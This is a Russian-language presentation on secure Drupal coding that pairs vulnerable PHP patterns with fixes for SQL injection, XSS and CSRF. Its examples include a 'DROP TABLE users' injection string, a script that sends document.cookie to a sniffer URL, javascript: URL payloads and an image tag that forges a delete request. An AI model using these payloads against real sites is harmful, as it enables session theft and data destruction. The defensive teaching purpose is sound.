'

Безопасный код

Понравилась презентация – покажи это...





Слайд 0

Безопасный код © Александр Швец neochief@drupal.pro


Слайд 1

SQL инъекция $result = db_query(' SELECT * FROM users WHERE id = '" + $userID + "'; ‘);


Слайд 2

$userID = "5;DROP TABLE users";


Слайд 3

$result = db_query(' SELECT * FROM users WHERE id = 5;DROP TABLE users; ');


Слайд 4

Неправильно $result = db_query(' SELECT * FROM users WHERE id = '" + $userID + "'; ‘);


Слайд 5

Правильно $result = db_query(' SELECT * FROM users WHERE id = %d ‘, $userID);


Слайд 6

Cross-site scripting (XSS) Основная проблема — кража пользовательских cookies, с помощью которых производится неавторизированный вход на сайт.


Слайд 7

Как крадутся cookie <script> document.write( ‘<img src=“http://site.com/sniff.php?c=‘ + document.cookie + ’/>’ ); </script>


Слайд 8

Уязвимость в реальной жизни $output = ‘<a href=“’. $url .’”>’. $title .’</a>’;


Слайд 9

$title = “</a> <script>alert(document.cookie)</script><a>”;


Слайд 10

<a href=“…”></a> <script>alert(document.cookie)</script> <a></a>


Слайд 11

$url = “javascript:alert(document.cookie)”;


Слайд 12

<a href=“javascript:alert(document.cookie)”>…</a>


Слайд 13

Неправильно $output = ‘<a href=“’. $url .’”>’. $title .’</a>’;


Слайд 14

Правильно $output = ‘<a href=“’. check_url($url) .’”>’. check_plain($title) .’</a>’;


Слайд 15

Еще лучше $output = l($title, $url);


Слайд 16

Фильтрация ввода — лечение от XSS check_plain() check_markup() ckeck_url() t() filter_xss_admin()


Слайд 17

Подделка межсайтовых запросов (CSRF) <a href=“http://site.com/fast_delete_node”> Быстро удалить документ </a>


Слайд 18

А что если? <img src=“http://site.com/fast_delete_node”/>


Слайд 19

Лечение CSRF Управляющий код должен выполняться только в обработчиках форм, либо с проверкой токенов.


Слайд 20

Спасибо за внимание! Контакты: Александр Швец neochief@drupal.pro Ссылки: http://drupaldance.com/lessons/secure-code-user-input http://drupaldance.com/lessons/secure-code-database-layer http://drupaldance.com/lessons/secure-code-csrf


×

HTML:





Ссылка: